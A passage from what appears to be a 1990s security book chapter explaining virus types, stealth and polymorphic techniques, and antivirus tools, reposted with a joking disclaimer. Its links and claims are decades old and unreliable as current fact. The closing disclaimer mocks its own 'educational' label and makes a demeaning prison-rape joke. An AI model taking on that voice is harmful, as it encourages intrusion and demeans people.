not tend to spread in a hard disk environment.
The following year brought with it a host of different viruses, including some that did actual damage. The Merrit virus (which emerged in 1987) could destroy the file allocation table (FAT) on a floppy disk. This virus apparently went through several stages of evolution, the most dangerous of which was a version called Golden Gate. Golden Gate reportedly could reformat the hard disk drive.
Since then, innovations in virus technology have caused these creatures
to become increasingly
complex. This has led to classifications. For example, there are basically
three types of virus:
Master boot sector viruses
Boot sector viruses
File viruses
I have already briefly examined a MBR virus in this chapter. The only
material difference between
that type and a garden-variety boot sector virus is that boot sector
viruses target floppies. However, the third class of virus (the file virus)
is a bit different. In contrast to boot sector viruses (which attack only
a small portion of the disk), file viruses can spread systemwide.
Most often, file viruses infect only a particular class of file--usually
executable files. COM and EXE files are good examples. File viruses, however,
are not restricted to executables; some will infect
overlay files (OVL) or even system driver files (SYS, DRV).
NOTE: Do you remember that I explained that
viruses are rarely found in upper
memory? When such viruses are found, they
are usually riding on a driver, such as a
SYS or DRV file. PC users who worked extensively
with the DOS/Windows
combination will remember various drivers
that required an upper-memory load.
It is estimated that there are currently more than 7,000 file viruses
on the DOS platform alone. As
you might expect, virus authors are eager to write file viruses because
of how far these can spread. Given 10 days on a computer system, a file
virus can effectively infect the majority (or perhaps even all) of the
executable files on the hard disk drive. This is due to the manner in which
file viruses operate. (See Figure 14.8.)
Figure 14.8.
Normal operation and execution of a program.
Under normal operations (on a noninfected machine), a command is executed
and loaded into
memory without event. (This could equally be a COM file. In Figure
14.8, I just happened to have
used the .EXE extension.) When a file virus is present, however, the
process is complicated because the virus now intercepts the call. (See
Figure 14.9.)
Figure 14.9.
Loading a program with a file virus present.
First, the virus temporarily intercepts the process for long enough
to infect the program file. After
infecting the program file, the virus releases its control over the
system, returning the reins to the
operating system. The operating system then loads the infected file
into memory. This process will be repeated for each file loaded into the
system memory. Stop and think for a moment about this. How many files are
loaded into memory in the course of a business day? This is how file viruses
ultimately achieve systemic infection of the system.
In addition to the classifications of viruses, there are also different
types of viruses. These types are derived from the manner in which the
virus operates or what programming techniques were
employed in its creation. Here are two:
Stealth viruses use any of a number of techniques
to conceal the fact that the drive has been
infected. For example, when the operating
system calls for certain information, the stealth virus
responds with that information as it was prior
to infection. In other words, when the infection
first occurs, the virus records the information
necessary to later fool the operating system (and
virus scanners).
Polymorphic viruses are a relatively new phenomenon,
and they are infinitely more complex
than their counterparts. Polymorphic viruses
can change, making them more difficult to
identify. There have been instances of a polymorphic
virus using advanced encryption
techniques. This amounts to a signature that
may change. This process of changing is called
mutation. In mutation, the virus may change
its size and composition. Because virus scanners
most often search for known patterns (by size,
checksum, date, and so forth), a well-crafted
polymorphic virus can evade detection. To
combat this new technique, virus specialists create
scanners that can identify encryption patterns.
Virus technology continues to increase in complexity, largely due to
the number of new viruses that
are discovered. The likelihood of contracting a virus on the Internet
is slim, but not impossible. It
depends on where you go. If you are an individual and you frequent
the back alleys of the Internet, you should exercise caution in downloading
any file (digitally signed or otherwise). Usenet
newsgroups are places where viruses might be found, especially in those
newsgroups where hot or
restricted material is trafficked. Examples of such material include
warez (pirated software) or
pornography. I would strongly caution against downloading any zipped
or archived file from groups trafficking this type of material. Similarly,
newsgroups that traffic cracking utilities are suspect.
If you are a system administrator, I have different advice. First, it
is true that the majority of viruses
are written for the IBM-compatible platforms (specifically, platforms
on which users run DOS,
Windows, Windows NT, and Windows 95). If your network is composed of
machines running
these operating systems and you offer your users access to the Internet,
you have a problem.
There is no reliable way to restrict the types of files that your users
download. You can institute
policies that forbid all downloads, and your users will probably still
download a file here and a file
there. Human nature is just that way. Therefore, I would recommend
that you run memory-resident
virus scanners on all machines in the domain, 24 hours a day. (At the
end of this section, you will find some resources for obtaining such products.)
To learn more about how viruses work, you should spend some time at
a virus database on the
Internet. There are several such databases that provide exhaustive
information on known viruses.
The most comprehensive and useful site I have ever found is at the
Department of Energy.
Cross Reference: Find the Department of Energy
site online at
http://ciac.llnl.gov/ciac/CIACVirusDatabase.html.
The list is presented in alphabetical order, but can be traversed by
searching for platform. You will
instantly see that most viruses were written for the Microsoft platform,
and the majority of those for DOS. What you will not see are any known
in-the-wild viruses for UNIX. However, by the time this book is printed,
such information may be available. There is talk on the Internet of a virus
for the Linux platform called Bliss.
Reports on Bliss at the time of this writing are sketchy, but it appears
that Bliss is a virus. There is
some argument on the Internet as to whether Bliss qualifies more as
a trojan, but the majority of
reports suggest otherwise. Furthermore, it is reported that it compiles
cleanly on other UNIX
platforms.
Cross Reference: The only known system tool
that checks for Bliss infection was
written by Alfred Huger and is located online
at
ftp://ftp.secnet.com/pub/tools/abliss.tar.gz.
It is extremely unlikely that your box would be infected. The author
of the program took steps to
prevent all but experienced programmers from unpacking and using this
virus. However, if you
should discover that your machine is infected with this new virus,
you should immediately submit a
report to Usenet and several bug lists, describing what, if any, damage
has been done to your
system.
I would like to explain why the majority of viruses are written for
personal computer platforms and
not for UNIX, for example. In UNIX (and also in Windows NT), great
control can be exercised
over who has access to files. Restrictions can be placed on a file
so that user A can access the file
but user B cannot. Because of this phenomenon (called access control),
viruses would be unable to travel very far in such an environment. They
would not, for example, be able to cause a systemic
infection.
In any event, viruses do represent a risk on the Internet. That risk is obviously more relevant to those running DOS or any variant of Windows. Following are some tools to keep your system safe from virus attack.
Virus Utilities
Following is a list of well-known and reliable virus-detection utilities. I have experience using all the entries in this list, and can recommend every one. However, I should stress that just because a utility is absent from this list does not mean that it isn't good. Hundreds of virus-detection utilities are available on the Internet. Most of them employ similar techniques of detection.
VirusScan for Windows 95
VirusScan for Windows 95 by McAfee can be found online at
http://www.mcafee.com
Thunderbyte Anti-Virus for Windows 95
Thunderbyte Anti-Virus for Windows 95 can be found online at
http://www.thunderbyte.com
Norton Anti-Virus for DOS, Windows 95, and Windows NT
Norton Anti-Virus for DOS, Windows 95, and Windows NT by Symantec can be found online at
http://www.symantec.com/avcenter/index.html
ViruSafe
ViruSafe by Eliashim can be found online at
http://www.eliashim.com/
PC-Cillin II
PC-Cillin II by Check-It can be found online at
http://www.checkit.com/tshome.htm
FindVirus for DOS v. 7.68
Dr. Solomon's FindVirus for DOS version 7.68 can be found online at
http://www.drsolomon.com/
Sweep for Windows 95 and Windows NT
Sweep for Windows 95 and Windows NT by Sophos can be found online at
http://www.sophos.com/
Iris Antivirus Plus
Iris Antivirus Plus by Iris Software can be found online at
http://www.irisav.com/
LANDesk Virus Protect v4.0 for NetWare and Windows NT
LANDesk Virus Protect version 4.0 for NetWare and Windows NT by Intel can be found online at
http://www.intel.com/comm-net/sns/showcase/netmanag/ld_virus/
Norman Virus Control
Norman Virus Control by Norman Data Defense Systems can be found online at
http://www.norman.com/
F-PROT Professional Anti-Virus Toolkit
F-PROT Professional Anti-Virus Toolkit by DataFellows can be found online at
http://www.DataFellows.com/
The Integrity Master
The Integrity Master by Stiller Research can be found online at
http://www.stiller.com/stiller.htm
There are quite literally hundreds of virus scanners and utilities.
I have mentioned these primarily
because they are easily available on the Internet and because they
are updated frequently. This is an important point: Viruses are found each
day, all over the world. Because virus authors continue to churn out new
works (and these often implement new techniques, including stealth), it
is imperative that you get the very latest tools.
Conversely, perhaps you have some old machines lying around that run early versions of this or that operating system. On such systems, you may not be able to run Windows 95 or Windows NT software. To present you with a wide range of choices, I suggest that you go to one of the following sites, each of which has many, many virus utilities:
The Simtel.Net MS-DOS Collection at the OAK Repository
The Simtel.Net MS-DOS collection at the OAK repository offers virus
detection and removal
programs. This site is located online at
http://oak.oakland.edu/simtel.net/msdos/virus.html
The Simtel.Net Windows 3.x Collection at the OAK Repository
The Simtel.Net Windows 3.x collection at the OAK repository offers virus
detection and removal
programs. This site is located online at
http://oak.oakland.edu/simtel.net/win3/virus.html
Summary
Destructive devices are of significant concern not only to those running
Internet information servers, but to all users. Many people find it hard
to fathom why anyone would create such programs,
especially because data is now so heavily relied on. This is a question
that only virus writers can
answer. In any event, every user (particularly those who use the Internet)
should obtain a basic
education in destructive devices. If you are now using the Internet,
it is very likely that you will
eventually encounter such a device. For this reason, you must observe
one of the most important
commandments of computer use: back up frequently. If you fail to observe
this, you may later suffer serious consequences.
Resources
The following is a list of articles, books, and Web pages related to the subject of computer viruses. Some of the books are a bit dated, but are now considered standards in the field.
Robert Slade's Guide to Computer Viruses : How to Avoid Them, How to
Get Rid of
Them, and How to Get Help (Second Edition). Springer. 1996. ISBN 0-387-94663-2.
Virus: Detection and Elimination. Rune Skardhamar. AP Professional.
1996. ISBN
0-12-647690-X.
The Giant Black Book of Computer Viruses. Mark A. Ludwig. American Eagle. 1995.
1996 Computer Virus Prevalence Survey. NCSA National Computer Security
Association.
(Very good.)
The Computer Virus Crisis. Fites, Johnson, and Kratz. Van Nostrand Reinhold
Computer
Publishing. ISBN 0-442-28532-9. 1988.
Computer Viruses and Related Threats: a Management Guide. National Technical
Information Service (NTIS). PB90-115601CAU.
A Passive Defense Against Computer Viruses. Frank Hoffmeister. Proceedings
of the IASTED
International Symposium Applied Informatics. pp. 176-179. Acta Press.
1987.
PC Security and Virus Protection: the Ongoing War Against Information
Sabotage. Pamela
Kane. M&T Books. ISBN 1-55851-390-6. 1994.
How Prevalent are Computer Viruses? Jeffrey O. Kephart and Steve R.
White. Technical
Report RC 17822 No78319. Watson. 1992.
A Short Course on Computer Viruses (Second Edition). Frederick B. Cohen.
Series title: Wiley
Professional Computing. John Wiley & Sons. 1994. ISBN 1-471-00769-2
A Pathology of Computer Viruses. David Ferbrache. Springer-Verlag. ISBN
0-387-19610-2;
3-540-19610-2. 1992.
The Virus Creation Labs: A Journey into the Underground. George Smith.
American Eagle
Publications. ISBN 0-929408-09-8. Also reviewed in Net Magazine, February
1996.
Viruses in Chicago: The Threat to Windows 95. Ian Whalley, Editor. Virus
Bulletin. Abingdon
Science Park, England.
http://www.virusbtn.com/VBPapers/Ivpc96/
Computer Virus Help Desk. Courtesy of the Computer Virus Research Center.
Indianapolis,
Indiana.
http://iw1.indyweb.net/~cvhd/
European Institute for Computer Anti-Virus Research.
http://www.eicar.com/
Future Trends in Virus Writing. Vesselin Bontchev. Virus Test Center. University of Hamburg.
http://www.virusbtn.com/OtherPapers/Trends/
A Biologically Inspired Immune System for Computers. Jeffrey O. Kephart.
High Integrity
Computing Laboratory, IBM. Thomas J. Watson Research Center.
http://www.av.ibm.com/InsideTheLab/Bookshelf/ScientificPapers/Kephart/ALIFE4/alife4.distrib.html
Dr. Solomon's Virus Encyclopedia.
http://www.drsolomon.com/vircen/enc/
An Overview of Computer Viruses in a Research Environment. Matt Bishop.
Washington,
D.C.: National Aeronautics and Space Administration. Springfield, Va.
Distributor: National
Technical Information Service. 1991.
http://cmc.psi.net/spart/papers/virus/mallogic.ps
Internet Computer Virus and the Vulnerability of National Telecommunications
Networks
to Computer Viruses. Jack L. Brock. November 1988. GAO/T-IMTEC-89-10,
Washington,
D.C., 20 July 1989. Testimonial statement of Jack L. Brock, Director,
U. S. Government
Information before the Subcommittee on Telecommunications and Finance,
Committee on Energy
and Commerce, House of Representatives.
A Guide to the Selection of Anti-Virus Tools and Techniques. W. T. Polk
and L. E. Bassham.
National Institute of Standards and Technology Computer Security Division.
http://csrc.ncsl.nist.gov/nistpubs/select/
E-Mail any questions, comments or deaththreats to:
ameister@vol.com
Copyright © AcidMeister...
Visit him at:
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Disclaimer:
This is for Educational purposes only it should not be used as a guide to
cause havoc or to hack. He He He, good luck!!! And don't get caught. I
would hate to see you in a cell with your 300 pound Bruno The Gay Ax
murderer. He He Heà